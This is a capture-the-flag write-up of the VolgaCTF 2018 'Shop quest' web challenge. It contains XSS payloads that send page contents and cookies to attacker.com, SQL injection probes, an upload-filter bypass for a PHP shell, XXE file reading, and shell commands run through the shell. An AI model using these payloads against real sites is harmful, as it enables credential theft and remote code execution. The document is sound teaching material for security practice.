Rating: 5.0

# Shop quest
Category: Web Points: 500 Solves: 0 Description:

For this task, teams could get 500 points, it consisted of several stages that led to the execution of the code.
Unfortunately, because of the heavy workload, the task sometimes worked slowly, but it was still possible to solve it.
Nobody received the flag, although some teams went through 2 stages out of three and almost reached the goal.
I hope that to solve it in any case was interesting and glad that many attempted to get the flag.

## Stage 1 - Client side
Firstly, we can see a main page. In the browser console, we can see the name of the Vue.js framework used to chat with the operator.
Secondly, in source code we can see injection point, there is the customer name, which is specified at registration.

![XSS in name parameter](screenshots/xss_stage.png "XSS in name")

This XXS will work on the operator page.
Final attack vector for stealing Operator info:
${toString.constructor('var http=new XMLHttpRequest();http.open("POST","http://attacker.com/?bot", true);http.setRequestHeader("Content-type","application/x-www-form-urlencoded");http.send("res="+btoa(unescape(encodeURIComponent(document.body.innerHTML))));')()}
On *attacker.com* we can see the page where the operator is located reading our message.
Decode this page and find operator's password:

*Change your default password: Floise_default_@@@f*

But, you can ask: "Where can I find the login? Login "Operator" doesn't work!"
Ok) We can see non http only cookie - *userId*. This is IDOR. We can steal operator's cookie and make request to the server with it.

```${toString.constructor('document.location = "http://attacker.com/?"+document.cookie')()}```

![IDOR in userId](screenshots/IDOR.png "IDOR exploitation")

Login as Operator:

login: Mark_323212

Password: Floise_default_@@@f

## Stage 2 - SQL Injection

![Operator's page](screenshots/Operators_page.png "Operator's page")

Here we can see operator's page. The operator has three additional methods:

+ GET /Chat/getMessages?chatId=1
+ GET /Operator/chat?chatId=1
+ POST /Chat/sendToClient

After a few minutes of fuzzing we can see that the first one may response with 500 status code.
Unfortunately, automatic scanners will not give anything here. We need professional pentester's skills!

+ /Chat/getMessages?chatId=1'--+-
+ /Chat/getMessages?chatId=1"--+-
+ /Chat/getMessages?chatId=1`--+-

WoW! The third one retrieve status code 200! So, there is injection in chat table name.

SELECT * FROM `chat_<chatId>`

This is UNION based injection and we can see output.
After a difficult dumping of the database structure, we find out the login and password hash of the admin.


{"status":"ok","messages":[{"id":"1","text":"Hi. man","is_operator":0,"time":"11:02 PM"},{"id":"2","text":"May the Force be with you","is_operator":1,"time":"11:02 PM"},{"id":"3","text":"sdfsdf","is_operator":1,"time":"11:06 PM"},{"id":"Bibant","text":"3730a48f24ed9610f1ba7d4e6618f36135be1417755c3b9b2abc0c46e0803a8c","is_operator":3,"time":"4"}]}

*Bibant / 3730a48f24ed9610f1ba7d4e6618f36135be1417755c3b9b2abc0c46e0803a8c*

Hash is sha256. The first thing that comes to mind is the online brute password. It's success.

Login as Admin:

login: Bibant

Password: insaneclownposse

## Stage 3 - RCE

This stage is final and allows uploading php shell. There is simple extension filter in uploads, words *php* and *htm* are replaced by empty string.

We have simple bypass like: *shell.pphphp*

When we upload a file, we obtain the generated random name for it.

![Shell ulpoad](screenshots/upload_shell.png "Shell ulpoad")

But where is our shell? Let's read source code of site. We have the ability to save product info in XML format. Maybe XXE? YES!

However, even if the file is valid, the error is returned, that the functionality does not work yet.

*{"status":"error","message":"Table `goods` doesn't exist"}*

Let's try OOB XXE, and read index.php. Maybe it exists on the server. Send this payload:




We received index.php and than we have to read several files to find the file download code:
require_once 'utils/Core.php';

foreach ( glob( $_SERVER['DOCUMENT_ROOT'] . '/controllers/*Controller.php' ) as $filename ) {

require_once 'utils/Uploader.php';

Finally, file is uploaded to:
/uploads_FjsyFkf/md5(user_login . asdasHF$&@(F&@)AF)JFN)/

user_login = Bibant, and we can finally find the flag:

*Find flag:*
http://shop-quest.quals.2018.volgactf.ru/uploads_FjsyFkf/a616589f9ab86eb8f51060dc6da4f545/ZoSkHTE.php?c=find / -name flag*

*Read flag:*
http://shop-quest.quals.2018.volgactf.ru/uploads_FjsyFkf/a616589f9ab86eb8f51060dc6da4f545/ZoSkHTE.php?c=cat /home/flag*

Flag is: VolgaCTF{30ff764e5e70f8df3d3f6944c12d0f1a}

P.S. If you have read to the end, you are already a hero)

Original writeup (https://github.com/shvetsovalex/ctf/tree/master/2018/VolgaCTF-quals/Shop%20quest).